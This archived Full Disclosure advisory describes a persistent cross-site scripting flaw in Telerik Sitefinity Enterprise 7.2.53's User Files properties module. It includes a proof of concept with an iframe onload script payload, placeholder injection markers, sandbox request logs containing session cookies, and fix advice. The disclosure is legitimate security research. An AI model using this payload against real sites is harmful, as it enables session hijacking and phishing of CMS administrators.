Full Disclosure mailing list archives
Sitefinity Enterprise v7.2.53 - Persistent UI Vulnerability
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Tue, 13 Jan 2015 18:30:06 +0100
Document Title: =============== Sitefinity Enterprise v7.2.53 - Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1369 Release Date: ============= 2015-01-06 Vulnerability Laboratory ID (VL-ID): ==================================== 1369 Common Vulnerability Scoring System: ==================================== 3.7 Product & Service Introduction: =============================== Usability that Empowers the Business. Empower your business users to get their job done independently and effectively. Powerful Drag & Drop Authoring, on-page editing and contextual guidance for self-servicing marketing teams. Complete Feature set to create content experiences, run campaigns and deliver results. Rated #1 in Ease of Use in the Gleanster 2014 WCM Benchmarks. Personalization, content targeting, persona profiling and segmentation that your team can immediately start using. Integrated Digital Experience Cloud that includes Customer Journey Analysis, Predictive and Prescriptive Analytics for optimizing every customer experiences. Built-in ecommerce, email marketing, landing page management and cross-channel delivery tools. (Copy of the Vendor Homepage: http://www.sitefinity.com/product/overview ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered an application-side input validation vulnerability in the official Telerik Sitefinity v7.2.53 Enterprise Edition CMS. Vulnerability Disclosure Timeline: ================================== 2015-01-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Telerik Product: Sitefinity Enterprise Edition - Content Managemtn System 7.2.53 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side validation vulnerability has been discovered in the official Telerik Sitefinity v7.2.53 Enterprise Edition CMS. The vulnerability allows an attacker to inject own script code as payload to the application-side of the vulnerable service function or module. The vulnerability is located in the `sfItemTitle` and `sf_binderCommand_viewItemsByParent` values of the vulnerable `User Files > Properties` module. Attackers are able to send special crafted PUT requests with manipulated `sfItemTitle` to the service application to compromise the `./user-files` module. The execution of the injected script code occurs on the application of the user-files listing module by the manipulated name context field. The attack vector is persistent on the application-side and the request method to inject is PUT. The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.7. Exploitation of the application-side web vulnerability requires a privileged web-application user account and low or medium user interaction. Successful exploitation of the vulnerabilities result in persistent phishing mails, session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected module context. Request Method(s): [+] PUT Vulnerable Module(s): [+] Settings & Configuration > User Files > Properties Vulnerable Parameter(s): [+] sfItemTitle [+] sf_binderCommand_viewItemsByParent Affected Module(s): [+] User File listing & Upload Files (./Administration/User-files) Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers and local privileged application user accounts with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Input: Settings & Configuration > User Files http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/User-files#event=showWindow&winId=ctl04_userFilesBackendList_ctl00_ctl00_itemsGrid_ctl00_ctl00_edit&autoMax=false Execution: User File listing & Upload Files http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/User-files http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/User-files#event=showWindow&winId=ctl04_userFilesBackendList_ctl00_ctl00_itemsGrid_ctl00_ctl00_upload&autoMax=false PoC: ./User-files </div></td> </tr> </tfoot><tbody> <tr style="visibility: visible; display: table-row;" class="rgRow" id="ctl04_userFilesBackendList_ctl00_ctl00_itemsGrid_ctl00_ctl00_grid_ctl00__0"> <td class="sfCheckBoxCol"><input id="ctl04_userFilesBackendList_ctl00_ctl00_itemsGrid_ctl00_ctl00_grid_ctl00_ctl04_ClientSelectColumnSelectCheckBox" name="ctl04$userFilesBackendList$ctl00$ctl00$itemsGrid$ctl00$ctl00$grid$ctl00$ctl04$ClientSelectColumnSelectCheckBox" type="checkbox"></td><td class="sfFolderIcn"> <div class="sys-container"> <p><a href="" class="sf_binderCommand_viewItemsByParent">"><[PERSISTENT SCRIPT CODE EXECUTION!];)" <="" "=""><iframe src=a onload=alert("PENTEST") <</a></p> </iframe></a></p></div> </td><td class="sfAlbumInfo"> <div class="sys-container"><a href="" class="sf_binderCommand_viewItemsByParent sfItemTitle">"><[PERSISTENT SCRIPT CODE EXECUTION!]") <</a><p>0 items</p><p></p> </iframe></a></div> </td><td class="sfActionsWithProgress"> <div class="sys-container"> <div class="cmDiv"><ul class="actionsMenu clickMenu" id="actions0"> <li class="main sfFirst"><a href="" class="sf_binderCommand_upload">Upload files</a></li> <li class="main sfLast"> <a menu="actions0" href="">Actions</a> <div style="position: absolute;" class="outerbox inner"><div class="shadowbox1"></div><div class="shadowbox2"></div><div class="shadowbox3"></div><ul class="innerBox"> <li> <a href="" class="sf_binderCommand_edit">Edit Properties</a> </li> <li> <a href="" class="sf_binderCommand_permissions">Set Permissions</a> </li> <li> <a href="" class="sf_binderCommand_relocateLibrary">Change library URL</a> </li> <li> <a href="" class="sf_binderCommand_transferLibrary">Move to another storage</a> </li> </ul></div> --- PoC Session Logs [PUT] (Sandbox) --- Status: 200[OK] PUT http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Services/Content/DocumentLibraryService.svc/00000000-0000-0000-0000-000000000000/? itemType=Telerik.Sitefinity.Libraries.Model.DocumentLibrary&providerName=SystemLibrariesProvider&managerType=&provider=SystemLibrariesProvider&workflowOperation= Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[1942] Mime Type [application/json] Request Header: Host[site16408192010623.srv03.sandbox.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0] Accept[text/html,application/xhtml +xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Content-Type[application/json; charset=UTF-8] Referer [http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Dialog/ContentViewEditDialog?ControlDefinitionName=UserFilesBackend&ViewName=UserFilesBackendEditView&language=en&provider=SystemLibrariesProvider] Content-Length[1580] Cookie[__utma=172034556.525088814.1417720592.1417720592.1417720592.1; __utmb=172034556.15.9.1417720879538; __utmc=172034556; __utmz=172034556.1417720592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); optimizelySegments= %7B%22231657604%22%3A%22direct%22%2C%22232100060%22%3A%22ff%22%2C%22231586836%22%3A%22false%22%7D; optimizelyEndUserId=oeu1417720591980r0.28011022211653314; optimizelyBuckets=%7B%7D; __CT_Data=gpv=8&apv_43014_www=8; WRUID=0; _mkto_trk=id:194-TGP-611&token:_mch-localhost:8080-1417720595883-55422; tlrksf=aGXixH2bBlrRA97hnWN5sFB0%2BvJxHVuu2qnpZkS9RYv%2F87XYIvNh2N%2Fjuwd0kGsFVvqywF1 a3aM3f5iJNpiJkTIo674vbDXIM%2F4%2B7yk9V2byjPPieLbTLbWijZZqwdoCpgmrkgndB8G2vB %2FzMHYy1Q%3D%3D; sf-data-intell-subject=42072ebe-ef56-4c95-bb3c-a8a2634661f4; .ASPXAUTH=95B673ED661D659CFA2B105E95D5ECFB2F4FCC1399E5699CFEC062B2D399DC752C6205E6B8DB4CA93DBB4C2E5FB23AEF8B3ECD51588FD8111F6E69453C609E399B69000 BF2884D1435BCB937BB6EC5667F3943A804FE36A87AE9295EC2DBA53B605E5E37BD22E6DDB9B521C33687AFCBE4 8E1DB3BCEC875E4061DCBE6F6524B60F1E52007F92C955FA5DDE19A91E1A72CFC9D50B9F473FD3882D5F777906C8959977DBAEB24F80D4BAA0CD052B1973A4; SF-TokenId=6e637324-9c93-42b7-ab60-51367d11133e; FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4... lnYXpDTjdsdE5Kckc5aFZ3TS9uZ0lrZ1VOSWNvQU5QY1YyVEJQeUR4UGt2VTRWTHllSHJjNTdSMW9LcXZOMHhPV05 oakpHbTM5Q2JQVzlnMkFOZC9VSit2dk1UZU5uQlhIMG1uNGttVVp2QjF2OEo4cHhSTTZqWlVNYmNuTGFrN2dITU95NjVpMjhnc1pBREFBQT08L0Nvb2tpZT48L1NlY3VyaXR5Q29udGV4dFRva2VuPg==; sf_site=34c08ad3-81d1-4b36-82b5-4610ef8204bc] Connection[keep-alive] POST-Daten: {"Item":{"AllowComments":true,"AllowTrackBacks":null,"ApproveComments":false,"AvailableLanguages":["","en"], "BlobStorageProvider":"Database","ClientCacheDuration":0,"ClientCacheProfile":"","DateCreated":"\/Date (1362640264770)\/","DefaultPageId":null,"Description":{"PersistedValue":"","Value":""},"DownloadSecurityProviderName":null, "EmailAuthor":false,"EnableClientCache":false,"EnableOutputCache":false,"ExpirationDate":null,"Id":"7551e10d- 515d-67af-8bab-ff0100a58543","IncludeInSitemap":false,"ItemDefaultUrl":{"PersistedValue":"/form-files-sf_jobapplication", "Value":"/form-files-sf_jobapplication"},"LastModifiedBy":"00000000-0000-0000-0000- 000000000000","MaxItemSize":"0","MaxSize":"0","OriginalContentId":"00000000-0000-0000-0000-000000000000","OutputCacheDuration":0,"OutputCacheMaxSize":0, "OutputCacheProfile":null,"OutputSlidingExpiration":false,"Owner":"268f8745-3b5f- 425f-a206-3731adacea20","ParentId":null,"PostRights":1,"PublicationDate":"\/Date(1362640264640)\/","RunningTask":"00000000-0000-0000-0000-000000000000", "Status":0,"ThumbnailProfiles":[],"Title":{"PersistedValue":"\"><[PERSISTENT SCRIPT CODE INJECTION VULNERABILITY!]") <","Value":"asdasdasd"},"UIStatus":0, "UrlName":{"PersistedValue":"form-files-sf_jobapplication","Value":"form-files- sf_jobapplication"},"UseDefaultSettingsForClientCaching":false,"UseDefaultSettingsForOutputCaching":false,"Version":0,"ViewsCount":0, "Visible":false,"VotesCount":0,"VotesSum":0,"LastModified":"\/Date (1417721995648)\/"},"ItemType":"Telerik.Sitefinity.Libraries.Model.DocumentLibrary"}] Response Header: Cache-Control[private] Pragma[no-cache] Content-Length[1942] Content-Type[application/json; charset=utf-8] Expires[0] Server[Microsoft-IIS/8.5] Set-Cookie [FedAuth=77u/PD94bWw... R5Q29udGV4dFRva2VuPg==; path=/; HttpOnly] X-AspNet-Version[4.0.30319] X-Powered-By[ASP.NET] Date[Thu, 04 Dec 2014 19:40:07 GMT] - Status: 200[OK] GET http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Services/Content/DocumentLibraryService.svc/? managerType=&providerName=&itemType=Telerik.Sitefinity.Libraries.Model.DocumentLibrary&provider=SystemLibrariesProvider&sortExpression=LastModified%20DESC&skip=0&take=50 Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[5598] Mime Type [application/json] Request Header: Host[site16408192010623.srv03.sandbox.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0] Accept[text/html,application/xhtml +xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] SF_UI_CULTURE[en] Referer [http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/User-files] Cookie[__utma=172034556.525088814.1417720592.1417720592.1417720592.1; __utmb=172034556.15.9.1417720879538; __utmc=172034556; __utmz=172034556.1417720592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); optimizelySegments=%7B%22231657604%22%3A%22direct%22%2C%22232100060%22%3A%22ff%22%2C%22231586836%22%3A%22false%22%7D; optimizelyEndUserId=oeu1417720591980r0.28011022211653314; optimizelyBuckets=%7B%7D; __CT_Data=gpv=8&apv_43014_www=8; WRUID=0; _mkto_trk=id:194-TGP-611&token:_mch-localhost:8080-1417720595883-55422; tlrksf=aGXixH2bBlrRA97hnWN5sFB0%2BvJxHVuu2qnpZkS9RYv%2F87XYIvNh2N%2Fjuwd0kGsFVvqywF1a3aM3f5iJNpiJkTIo674vbDXIM%2F4%2B7yk9V2byjPPieLbTLbWijZZqwdoCpgmrkgndB8G2vB%2FzMHYy1Q%3D%3D; sf-data-intell-subject=42072ebe-ef56-4c95-bb3c-a8a2634661f4; .ASPXAUTH=95B673ED66...a2VuPg==; path=/; HttpOnly] X-AspNet-Version[4.0.30319] X-Powered-By[ASP.NET] Date[Thu, 04 Dec 2014 19:40:07 GMT] - Status: 200[OK] GET http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/[PERSISTENT SCRIPT CODE EXECUTION!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[1245] Mime Type[text/html] Request Header: Host[site16408192010623.srv03.sandbox.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/User-files] Cookie[__utma=172034556.525088814.1417720592.1417720592.1417720592.1; __utmb=172034556.15.9.1417720879538; __utmc=172034556; __utmz=172034556.1417720592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); optimizelySegments=%7B %22231657604%22%3A%22direct%22%2C%22232100060%22%3A%22ff%22%2C%22231586836%22%3A%22false%22%7D; optimizelyEndUserId=oeu1417720591980r0.28011022211653314; optimizelyBuckets=%7B%7D; __CT_Data=gpv=8&apv_43014_www=8; WRUID=0; _mkto_trk=id:194-TGP-611&token:_mch-localhost:8080-1417720595883-55422; tlrksf=aGXixH2bBlrRA97hnWN5sFB0%2BvJxHVuu2qnpZkS9RYv%2 F87XYIvNh2N%2Fjuwd0kGsFVvqywF1a3aM3f5iJNpiJkTIo674vbDXIM%2F4%2B7yk9V2byjPPieLbTLbWijZZqwdoCpgmrkgndB8G2vB %2FzMHYy1Q%3D%3D; sf-data-intell-subject=42072ebe-ef56-4c95-bb3c-a8a2634661f4; .ASPXAUTH=95B673ED661...dFRva2VuPg==; path=/; HttpOnly] X-Powered-By[ASP.NET] Date[Thu, 04 Dec 2014 19:40:08 GMT] Content-Length[1245] Reference(s): http://site16408192010623.srv03.sandbox.localhost:8080/ http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/ http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Administration/ http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Services/Content/DocumentLibraryService.svc http://site16408192010623.srv03.sandbox.localhost:8080/Sitefinity/Services/Content/DocumentLibraryService.svc/00000000-0000-0000-0000-000000000000/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure restriction of the vulnerable name input field. Disallow special chars. Encode and parse the input that runs through the sfItemTitle and sf_binderCommand_viewItemsByParent value to prevent persistent script code executions. Encode the user-files output listing index module with the vulnerable name value to ensure script code execution is blocked. Security Risk: ============== The security risk of the persistent input validation web vulnerability in the backend interface is estimated as medium. (CVSS 3.7) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin () vulnerability-lab com - research () vulnerability-lab com - admin () evolution-sec com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin () vulnerability-lab com or research () vulnerability-lab com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research () vulnerability-lab com PGP KEY: http://www.vulnerability-lab.com/keys/admin () vulnerability-lab com%280x198E9928%29.txt _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:
- Sitefinity Enterprise v7.2.53 - Persistent UI Vulnerability Vulnerability Lab (Jan 13)